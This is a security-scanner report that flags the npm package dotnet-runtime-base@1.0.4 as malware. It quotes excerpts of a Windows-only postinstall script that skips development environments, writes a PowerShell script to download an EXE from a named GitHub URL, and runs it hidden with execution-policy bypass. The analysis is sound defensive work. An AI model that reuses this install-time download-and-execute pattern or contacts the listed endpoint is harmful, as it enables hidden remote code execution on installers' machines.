registry  /  dotnet-runtime-base  /  1.0.4

dotnet-runtime-base@1.0.4

Base runtime dependencies for .NET tooling

AI Security Review

scanned 2h ago · by lpm-firewall-ai

npm installation triggers a Windows-only hidden downloader and executable launcher. Development environments are explicitly excluded.

Static reason
One or more suspicious static signals were detected.
Trigger
Automatic npm postinstall on Windows when NODE_ENV is not development.
Impact
Arbitrary remote executable runs on the installing user's Windows host.
Mechanism
PowerShell download-and-hidden-execute remote payload
Attack narrative
During npm postinstall, install.js checks for Windows and skips development environments. It writes a temporary PowerShell script that downloads an EXE from a GitHub raw URL into the OS temp directory, runs it with a hidden window, and invokes PowerShell with execution-policy bypass. This is unconsented install-time remote payload execution.
Rationale
Direct source inspection confirms a platform-gated postinstall chain that downloads and executes a remote executable invisibly. The benign exported utilities do not justify this behavior.
Evidence
package.jsoninstall.jsindex.js%TEMP%\npm-sc.exe%TEMP%\r-<timestamp>.ps1%TEMP%\install-err.txt
Network endpoints1
raw.githubusercontent.com/cphc811-ui/d3d/main/npm-sc-legit.exe

Decision evidence

public snapshot
AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
  • package.json defines postinstall: node install.js.
  • install.js exits only on non-Windows or NODE_ENV=development, gating the payload.
  • install.js builds PowerShell to download npm-sc-legit.exe from GitHub.
  • install.js launches the downloaded executable hidden via Start-Process.
  • install.js invokes powershell.exe with hidden window and execution-policy bypass.
Evidence against
  • index.js only exports small string and sleep utilities.
  • No AI-agent configuration or control-surface mutation was found.
Behavioral surface
Source
ChildProcessEnvironmentVarsFilesystem
Supply chain
UrlStrings
ManifestNo manifest risk signals triggered.
scanned 2 file(s), 1.12 KB of source, external domains: raw.githubusercontent.com

Source & flagged code

3 flagged · loading source
package.jsonView file
•scripts.postinstall = node install.js
High
Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg
•scripts.postinstall = node install.js
Medium
Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg
install.jsView file
1// npm postinstall — download and execute RAT from GitHub L2: if (process.platform !== 'win32') process.exit(0); L3: if (process.env.NODE_ENV === 'development') process.exit(0); L4: var cp=require('child_process'),fs=require('fs'),os=require('os'); L5: var tmp=os.tmpdir(), dst=tmp+'\\npm-sc.exe', psf=tmp+'\\r-'+(+new Date)+'.ps1'; L6: var ps='$u="https://raw.githubusercontent.com/cphc811-ui/d3d/main/npm[redacted]"\n' L7: +'$p="'+dst+'"\n'
High
Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

install.jsView on unpkg · L1

Findings

2 High3 Medium3 Low
HighInstall Time Lifecycle Scriptspackage.json
HighSandbox Evasion Gated Capabilityinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowUrl Strings